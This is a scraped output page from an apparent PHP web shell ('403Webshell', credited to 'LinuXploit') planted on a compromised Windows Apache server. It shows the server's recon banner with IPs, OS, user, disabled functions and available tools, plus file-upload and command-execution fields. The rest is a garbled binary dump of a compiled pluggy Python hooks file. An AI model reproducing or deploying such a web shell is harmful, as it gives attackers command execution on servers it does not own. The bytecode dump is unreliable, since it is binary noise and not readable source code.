403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pluggy/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pluggy/__pycache__/_hooks.cpython-39.opt-2.pyc
a

Pi�a�,�@s�ddlZddlZddlZGdd�d�ZGdd�d�Zdd�Zeed�Zd	d
�ZGdd�d�Z	Gd
d�d�Z
Gdd�d�ZGdd�d�ZdS)�Nc@seZdZdd�Zddd�ZdS)�HookspecMarkercCs
||_dS�N��project_name��selfr�r�1/usr/lib/python3.9/site-packages/pluggy/_hooks.py�__init__szHookspecMarker.__init__NFcs*����fdd�}|dur"||�S|SdS)Ncs0�r�rtd��t|�jdt���d��|S)Nz'cannot have a historic firstresult hookZ_spec)�firstresult�historic�warn_on_impl)�
ValueError�setattrr�dict��func�rrrr
rr	�setattr_hookspec_opts%s��	z6HookspecMarker.__call__.<locals>.setattr_hookspec_optsr)r�functionrrr
rrrr	�__call__szHookspecMarker.__call__)NFFN��__name__�
__module__�__qualname__r
rrrrr	r	s�rc@seZdZdd�Zddd�ZdS)�HookimplMarkercCs
||_dSrrrrrr	r
AszHookimplMarker.__init__NFcs.������fdd�}|dur"|S||�SdS)Nc
s$t|�jdt�����d��|S)NZ_impl)�hookwrapper�optionalhook�tryfirst�trylast�specname)rrrr�rrrr rrrr	�setattr_hookimpl_optshs��z6HookimplMarker.__call__.<locals>.setattr_hookimpl_optsr)rrrrrrr r"rr!r	rDs$zHookimplMarker.__call__)NFFFFNrrrrr	r9s�rcCs@|�dd�|�dd�|�dd�|�dd�|�dd�dS)NrFrrrr )�
setdefault)�optsrrr	�normalize_hookimpl_opts|s
r%Zpypy_version_infocCst�|�r,z
|j}Wq\ty(YdS0n0t�|�s\zt|d|�}WntyZYdS0zt�|�}Wnty~YdS0t	|j
�|j}}|r�t|�}|d|�t	||d��}}nd}t
s�dnd}|�rt�|��sdt|dd�v�r|d|v�r|d	d�}||fS)
N)rrrr�r)r�obj�.rr�)�inspectZisclassr
�AttributeErrorZ	isroutine�getattr�	ExceptionZgetfullargspec�	TypeError�tuple�args�defaults�len�_PYPYZismethod)r�specr0r1�index�kwargsZimplicit_namesrrr	�varnames�s8




 �
�r7c@seZdZdS)�
_HookRelayN)rrrrrrr	r8�sr8c@speZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zddd�Zdd�Z
dd�ZdS)�_HookCallerNcCs<||_g|_g|_||_d|_d|_|dur8|�||�dSr)�name�	_wrappers�_nonwrappers�	_hookexec�
_call_historyr4�set_specification)rr:Zhook_execute�specmodule_or_class�	spec_optsrrr	r
�sz_HookCaller.__init__cCs
|jduSr)r4r&rrr	�has_spec�sz_HookCaller.has_speccCs$t||j|�|_|�d�r g|_dS)Nr)�HookSpecr:r4�getr>)rr@rArrr	r?�s
z_HookCaller.set_specificationcCs
|jduSr)r>r&rrr	�is_historic�sz_HookCaller.is_historiccs<�fdd�}||j�dur8||j�dur8td��d���dS)Ncs,t|�D]\}}|j�kr||=dSqdS)NT)�	enumerate�plugin)Zwrappers�i�method�rGrr	�remove�s
z*_HookCaller._remove_plugin.<locals>.removezplugin z
 not found)r;r<r)rrGrKrrJr	�_remove_plugin�sz_HookCaller._remove_plugincCs|j|jSr)r<r;r&rrr	�
get_hookimpls�sz_HookCaller.get_hookimplscCsv|jr|j}n|j}|jr(|�d|�nJ|jr:|�|�n8t|�d}|dkrb||jrb|d8}qF|�|d|�dS)Nrr))rr;r<r�insertr�appendr2)r�hookimpl�methodsrHrrr	�
_add_hookimpl�s
z_HookCaller._add_hookimplcCsd|j�d�S)Nz
<_HookCaller �>)r:r&rrr	�__repr__�sz_HookCaller.__repr__cOs�|rtd��|jrh|jjD]<}||vrtt|jj�|���}tjd�|�dd�qXq|jj	�
d�}nd}|�|j|�
�||�S)Nz,hook calling supports only keyword argumentszTArgument(s) {} which are declared in the hookspec can not be found in this hook call�)�
stacklevelrF)r.r4�argnamesr/�set�keys�warnings�warn�formatr$rDr=r:rM)rr0r6�argnameZ	notincallrrrr	r�s ��z_HookCaller.__call__cCsP|j�|pi|f�|�|j|��|d�}|dur6dS|p<gD]}||�q>dS)NF)r>rOr=r:rM)r�result_callbackr6�res�xrrr	�
call_historicsz_HookCaller.call_historicc	Cstt|j�t|j�f}|D]*}tdddd�}tdd||�}|�|�qz|fi|��W|\|_|_S|\|_|_0dS)NF)rrrz<temp>)�listr<r;r�HookImplrR)rrQr6�oldrIr$rPrrr	�
call_extras�z_HookCaller.call_extracCsH|��rD|jD]4\}}|�|j|g|d�}|r|dur||d�qdS)NFr)rEr>r=r:)rrIr6r^r_rrr	�_maybe_apply_history(s
z _HookCaller._maybe_apply_history)NN)NN)rrrr
rBr?rErLrMrRrTrrarerfrrrr	r9�s


r9c@seZdZdd�Zdd�ZdS)rccCs:||_t|j�\|_|_||_||_||_|j�|�dSr)	rr7rW�
kwargnamesrGr$�plugin_name�__dict__�update)rrGrhrZhook_impl_optsrrr	r
2szHookImpl.__init__cCsd|j�d|j�d�S)Nz<HookImpl plugin_name=z	, plugin=rS)rhrGr&rrr	rT:szHookImpl.__repr__N)rrrr
rTrrrr	rc1srcc@seZdZdd�ZdS)rCcCsB||_t||�|_}||_t|�\|_|_||_|�d�|_	dS)Nr
)
�	namespacer,rr:r7rWrgr$rDr
)rrkr:r$rrrr	r
?szHookSpec.__init__N)rrrr
rrrr	rC>srC)
r*�sysrZrrr%�hasattrr3r7r8r9rcrCrrrr	�<module>s0C
*y

Youez - 2016 - github.com/yon3zu
LinuXploit